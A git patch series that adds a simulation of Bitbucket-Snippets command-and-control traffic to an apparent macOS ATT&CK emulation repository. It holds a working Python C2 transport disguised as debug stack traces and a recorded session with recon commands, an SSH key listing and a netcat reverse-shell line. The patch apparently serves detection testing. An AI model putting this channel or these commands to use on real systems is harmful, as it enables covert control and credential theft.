From 1ea5a9aaa8b63135c1d3060d30b7f68a321f880b Mon Sep 17 00:00:00 2001 From: Alexander Hogue Date: Thu, 22 Feb 2018 13:47:47 +1100 Subject: [PATCH 1/2] Add Custom C2 Protocol - Bitbucket Snippets --- .../Custom_Command_and_Control_Protocol.md | 42 ++++ .../bitbucket_protocol/auth.json.template | 5 + .../bitbucket_protocol/bitbucket_transport.py | 191 ++++++++++++++++++ .../bitbucket_protocol/replay.py | 18 ++ .../bitbucket_protocol/requirements.txt | 1 + .../bitbucket_protocol/traffic_history.json | 73 +++++++ Mac/README.md | 2 +- 7 files changed, 331 insertions(+), 1 deletion(-) create mode 100644 Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md create mode 100644 Mac/Command_and_Control/bitbucket_protocol/auth.json.template create mode 100644 Mac/Command_and_Control/bitbucket_protocol/bitbucket_transport.py create mode 100644 Mac/Command_and_Control/bitbucket_protocol/replay.py create mode 100644 Mac/Command_and_Control/bitbucket_protocol/requirements.txt create mode 100644 Mac/Command_and_Control/bitbucket_protocol/traffic_history.json diff --git a/Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md b/Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md new file mode 100644 index 0000000..0338118 --- /dev/null +++ b/Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md @@ -0,0 +1,42 @@ +# Custom Command and Control Protocol + +MITRE ATT&CK Technique: [T1146](https://attack.mitre.org/wiki/Technique/T1094) + +## Communication over Bitbucket Snippets +The use of a legitimate service as transport is a common technique to evade detection by masquerading as the legitimate service. + +Below are instructions to run a script to simulate traffic from a malware implant that communicates via a custom protocol implemented in [Bitbucket Snippets](https://confluence.atlassian.com/bitbucket/snippets-719095082.html). + +The malware itself isn't included, just the traffic simulation. + +### Installation + +#### Step 1: Create a new Bitbucket account + +We recommend using a fresh account for this so as not to pollute the snippets of your existing account. + +https://bitbucket.org/account/signup/ + +#### Step 2: Include its credentials in `auth.json` +In the directory [Command_and_Control/bitbucket_protocol](Command_and_Control/bitbucket_protocol): + +``` +cp auth.json.template auth.json +``` +Edit `auth.json` to include the username, email, and password of the Bitbucket account. `auth.json` should not be added to version control. + +### Step 3: Install dependencies +``` +pip install -r requirements.txt +``` + +### Usage +To simulate the network traffic, run: +``` +python replay.py +``` + +You will need to be using Python 3. + +This will make requests to `bitbucket.org` urls, recorded from an interactive session with the malware. +The session recording of the malware is available to view and modify at [traffic_history.json](bitbucket_protocol/traffic_history.json) diff --git a/Mac/Command_and_Control/bitbucket_protocol/auth.json.template b/Mac/Command_and_Control/bitbucket_protocol/auth.json.template new file mode 100644 index 0000000..d121671 --- /dev/null +++ b/Mac/Command_and_Control/bitbucket_protocol/auth.json.template @@ -0,0 +1,5 @@ +{ + "username": "", + "email": "", + "password": "" +} diff --git a/Mac/Command_and_Control/bitbucket_protocol/bitbucket_transport.py b/Mac/Command_and_Control/bitbucket_protocol/bitbucket_transport.py new file mode 100644 index 0000000..6db3aba --- /dev/null +++ b/Mac/Command_and_Control/bitbucket_protocol/bitbucket_transport.py @@ -0,0 +1,191 @@ +import datetime +import requests +import json + +import functools + + +class BitbucketTransport(): + """Send and recieve arbitrary data to a queue implemented in Bitbucket Snippets. + https://confluence.atlassian.com/bitbucket/snippets-719095082.html + """ + + TITLE_TEMPLATE = "stacktrace|{time}" + SNIPPET_FILE_NAME = "debug.log" + + def __init__(self): + with open("auth.json") as f: + auth = json.load(f) + self.email = auth["email"] + self.password = auth["password"] + self.username = auth["username"] + + self.BASE_URL = "https://api.bitbucket.org/" + self.auth = (self.email, self.password) + self.history = [] + + def push(self, data): + """Add something to the end of the queue + + Snippets looks like this: + push() -> [4, 3, 2, 1, 0 ...] -> pop() + The numbers indicate in which order items were added to the queue. + 0 was added first, 4 last. + """ + + self.history.append({ + "history_type": "push", + "data": data + }) + + # Imitate a stack trace to avoid rasing suspicion. + metadata = { + "title": self.TITLE_TEMPLATE.format( + time=datetime.datetime.utcnow().strftime('%b-%d-%I%M%p-%G')), + "is_private": True, + } + + # Send the file as a POST request of raw text, not an actual HTTP multipart file. + files = { + "file": (self.SNIPPET_FILE_NAME, data) + } + + res = self._api_post(data=metadata, files=files) + + return res + + def pop(self): + """Remove and return the oldest item in the queue. + + Snippets looks like this: + push() -> [4, 3, 2, 1, 0 ...] -> pop() + The numbers indicate in which order items were added to the queue. + 0 was added first, 4 last. + """ + snips = self.get_all_snippets() + if not snips: + return None + + # Get the oldest snippet + snip = snips[0] + + # Delete it + snip_content = self.get_content(snip) + self.delete_snip(snip["id"]) + self.history.append({ + "history_type": "pop", + "data": snip_content + }) + return snip_content + + def peek(self): + """Return the oldest item in the queue. + + Snippets looks like this: + push() -> [4, 3, 2, 1, 0 ...] -> pop() + The numbers indicate in which order items were added to the queue. + 0 was added first, 4 last. + """ + snips = self.get_all_snippets() + if not snips: + return None + + # Get the oldest snippet + snip = snips[0] + snip_content = self.get_content(snip) + self.history.append({ + "history_type": "peek", + "data": snip_content + }) + return snip_content + + def search_filter(self, filter_, pop=False): + """Find the first snippet that matches the provided filter. + Args: + filter_: Function that returns True for the snippets we want to match. + Returns: + The first matching snippet (as a string). + """ + + snips = self.get_all_snippets() + if not snips: + return None + + # Walk the front of the queue until we find the oldest item meant for us. + for snip in snips: + snip_content = self.get_content(snip) + if filter_(snip_content): + # We can only pop if we found something. + if pop: + self.delete_snip(snip["id"]) + return snip_content + + return None + + def pop_filter(self, filter_): + return self.search_filter(filter_=filter_, pop=True) + + def peek_filter(self, filter_): + return self.search_filter(filter_=filter_, pop=False) + + def delete_snip(self, snip_id): + delete_url = "https://bitbucket.org/api/2.0/snippets/" + \ + self.username + "/" + snip_id + requests.delete(delete_url, auth=self.auth) + + def get_content(self, snip): + """Returns the raw text in a snippet object. + Args: + snip: Dict of snippet metadata from the Bitbucket snippets API + Returns: + str: The raw snippet text. + """ + + url = "/".join(snip["links"]["diff"]["href"].split("/")[:-1]) + res = self._get_snip_content(url) + if res.status_code == 404: + # The snippet might have been deleted since we got its id, so we can ignore this. + return res.text + res.raise_for_status() + return res.text + + @functools.lru_cache(maxsize=5) + def _get_snip_content(self, url): + """Split out the network request part so we can cache it.""" + res = requests.get(url + "/files/{filename}".format(filename=self.SNIPPET_FILE_NAME), + auth=self.auth) + return res + + def _api_get(self, *args, **kwargs): + return requests.get(self.BASE_URL + "/2.0/snippets?role=owner", + auth=(self.email, self.password), + *args, **kwargs) + + def _api_post(self, *args, **kwargs): + return requests.post(self.BASE_URL + "/2.0/snippets", + auth=(self.email, self.password), + *args, **kwargs) + + def get_all_snippets(self): + """Return all snippets in this Bitbucket account.""" + res = self._api_get() + res.raise_for_status() + res = res.json() + + # No pagination + if "next" not in res: + return res["values"] + + snippets = [] + while True: + # Extract the current list of snippets + for snip in res["values"]: + snippets.append(snip) + + if "next" in res: + # Get the next page + res = requests.get(res["next"], auth=self.auth) + res.raise_for_status() + res = res.json() + else: + return snippets diff --git a/Mac/Command_and_Control/bitbucket_protocol/replay.py b/Mac/Command_and_Control/bitbucket_protocol/replay.py new file mode 100644 index 0000000..5e1ee3b --- /dev/null +++ b/Mac/Command_and_Control/bitbucket_protocol/replay.py @@ -0,0 +1,18 @@ +"""Replay captured traffic from malware using Bitbucket snippets as a C2.""" + +import json +import bitbucket_transport + +transport = bitbucket_transport.BitbucketTransport() + +with open("traffic_history.json") as f: + history = json.load(f) + for event in history: + print(event) + if event.get("history_type") == "push": + data = event["data"] + transport.push(data) + elif event.get("history_type") == "pop": + result = transport.pop() + if event.get("history_type") == "peek": + result = transport.peek() diff --git a/Mac/Command_and_Control/bitbucket_protocol/requirements.txt b/Mac/Command_and_Control/bitbucket_protocol/requirements.txt new file mode 100644 index 0000000..f229360 --- /dev/null +++ b/Mac/Command_and_Control/bitbucket_protocol/requirements.txt @@ -0,0 +1 @@ +requests diff --git a/Mac/Command_and_Control/bitbucket_protocol/traffic_history.json b/Mac/Command_and_Control/bitbucket_protocol/traffic_history.json new file mode 100644 index 0000000..08e1fe9 --- /dev/null +++ b/Mac/Command_and_Control/bitbucket_protocol/traffic_history.json @@ -0,0 +1,73 @@ +[ + { + "history_type": "peek" + }, + { + "history_type": "peek" + }, + { + "history_type": "peek" + }, + { + "history_type": "pop" + }, + { + "history_type": "push", + "data": "{\"type\": \"result\", \"executed_cmd\": \"pwd\", \"result\": \"/home/username/.config/t/\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}" + }, + { + "history_type": "peek" + }, + { + "history_type": "peek" + }, + { + "history_type": "pop" + }, + { + "history_type": "push", + "data": "{\"type\": \"result\", \"executed_cmd\": \"whoami\", \"result\": \"username\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}" + }, + { + "history_type": "peek" + }, + { + "history_type": "pop" + }, + { + "history_type": "push", + "data": "{\"type\": \"result\", \"executed_cmd\": \"ls .ssh\", \"result\": \"Command 'ls .ssh' returned non-zero exit status 2.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}" + }, + { + "history_type": "peek" + }, + { + "history_type": "pop" + }, + { + "history_type": "push", + "data": "{\"type\": \"result\", \"executed_cmd\": \"ls ~/.ssh\", \"result\": \"username-test.pem\\nconfig\\nconfig~\\nid_rsa\\nid_rsa.pub\\nknown_hosts\\nprivate_key.key\\nvagrant\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}" + }, + { + "history_type": "peek" + }, + { + "history_type": "pop" + }, + { + "history_type": "push", + "data": "{\"type\": \"result\", \"executed_cmd\": \"nc 192.168.100.113 -e /bin/bash\", \"result\": \"Command 'nc 192.168.100.113 -e /bin/bash' returned non-zero exit status 1.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}" + }, + { + "history_type": "peek" + }, + { + "history_type": "peek" + }, + { + "history_type": "peek" + }, + { + "history_type": "peek" + } +] diff --git a/Mac/README.md b/Mac/README.md index 569f8c9..5f1e292 100644 --- a/Mac/README.md +++ b/Mac/README.md @@ -5,7 +5,7 @@ | [.bash_profile and .bashrc](Persistence/bash_profile_and_bashrc.md) | Dylib Hijacking | Binary Padding | [Bash History](Credential_Access/Bash_History.md) | [Account Discovery](Discovery/Account_Discovery.md) | [AppleScript](Execution/AppleScript.md) | [AppleScript](Execution/AppleScript.md) | Audio Capture | Automated Exfiltration | Commonly Used Port | | Browser Extensions | Exploitation of Vulnerability | [Clear Command History](Defense_Evasion/Clear_Command_History.md) | Brute Force | Application Window Discovery | Application Deployment Software | Command-Line Interface | Automated Collection | Data Compressed | Communication Through Removable Media | | [Create Account](Persistence/Create_Account.md) | Launch Daemon | Code Signing | Credentials in Files | [File and Directory Discovery](Discovery/File_and_Directory_Discovery.md) | Exploitation of Vulnerability | Graphical User Interface | Browser Extensions | Data Encrypted | Connection Proxy | -| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | Logon Scripts | Launchctl | Clipboard Data | Data Transfer Size Limits | Custom Command and Control Protocol | +| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | Logon Scripts | Launchctl | Clipboard Data | Data Transfer Size Limits | [Custom Command and Control Protocol](Command_and_Control/Custom_Command_and_Control_Protocol.md) | | Hidden Files and Directories | Process Injection | Exploitation of Vulnerability | Input Capture | [Network Share Discovery](Discovery/Network_Share_Discovery.md) | Remote File Copy | Local Job Scheduling | Data Staged | [Exfiltration Over Alternative Protocol](Exfiltration/Exfiltration_Over_Alternative_Protocol.md) | Custom Cryptographic Protocol | | LC_LOAD_DYLIB Addition | [Setuid and Setgid](Privilege_Escalation/Setuid_and_Setgid.md) | File Deletion | [Input Prompt](Credential_Access/Input_Prompt.md) | [Permission Groups Discovery](Discovery/Permissions_Groups_Discovery.md) | Remote Services | Scripting | Data from Local System | Exfiltration Over Command and Control Channel | Data Encoding | | [Launch Agent](Persistence/Launch_Agent.md) | Startup Items | [Gatekeeper Bypass](Defense_Evasion/Gatekeeper_Bypass.md) | [Keychain](Credential_Access/Keychain.md) | [Process Discovery](Discovery/Process_Discovery.md) | SSH Hijacking | Source | Data from Network Shared Drive | Exfiltration Over Other Network Medium | Data Obfuscation | From 1cdbdc51bf72fe2e33d3c62dcfabf4163ff83bca Mon Sep 17 00:00:00 2001 From: Alexander Hogue Date: Tue, 27 Feb 2018 14:23:41 +1100 Subject: [PATCH 2/2] Move scripts to Payloads directory --- Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md | 3 ++- .../auth.json.template | 0 .../bitbucket_transport.py | 0 .../replay.py | 0 .../requirements.txt | 0 .../traffic_history.json | 0 6 files changed, 2 insertions(+), 1 deletion(-) rename Mac/{Command_and_Control/bitbucket_protocol => Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets}/auth.json.template (100%) rename Mac/{Command_and_Control/bitbucket_protocol => Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets}/bitbucket_transport.py (100%) rename Mac/{Command_and_Control/bitbucket_protocol => Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets}/replay.py (100%) rename Mac/{Command_and_Control/bitbucket_protocol => Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets}/requirements.txt (100%) rename Mac/{Command_and_Control/bitbucket_protocol => Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets}/traffic_history.json (100%) diff --git a/Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md b/Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md index 0338118..50163b5 100644 --- a/Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md +++ b/Mac/Command_and_Control/Custom_Command_and_Control_Protocol.md @@ -18,11 +18,12 @@ We recommend using a fresh account for this so as not to pollute the snippets of https://bitbucket.org/account/signup/ #### Step 2: Include its credentials in `auth.json` -In the directory [Command_and_Control/bitbucket_protocol](Command_and_Control/bitbucket_protocol): +In the directory [Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets](Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets): ``` cp auth.json.template auth.json ``` + Edit `auth.json` to include the username, email, and password of the Bitbucket account. `auth.json` should not be added to version control. ### Step 3: Install dependencies diff --git a/Mac/Command_and_Control/bitbucket_protocol/auth.json.template b/Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/auth.json.template similarity index 100% rename from Mac/Command_and_Control/bitbucket_protocol/auth.json.template rename to Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/auth.json.template diff --git a/Mac/Command_and_Control/bitbucket_protocol/bitbucket_transport.py b/Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/bitbucket_transport.py similarity index 100% rename from Mac/Command_and_Control/bitbucket_protocol/bitbucket_transport.py rename to Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/bitbucket_transport.py diff --git a/Mac/Command_and_Control/bitbucket_protocol/replay.py b/Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/replay.py similarity index 100% rename from Mac/Command_and_Control/bitbucket_protocol/replay.py rename to Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/replay.py diff --git a/Mac/Command_and_Control/bitbucket_protocol/requirements.txt b/Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/requirements.txt similarity index 100% rename from Mac/Command_and_Control/bitbucket_protocol/requirements.txt rename to Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/requirements.txt diff --git a/Mac/Command_and_Control/bitbucket_protocol/traffic_history.json b/Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/traffic_history.json similarity index 100% rename from Mac/Command_and_Control/bitbucket_protocol/traffic_history.json rename to Mac/Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets/traffic_history.json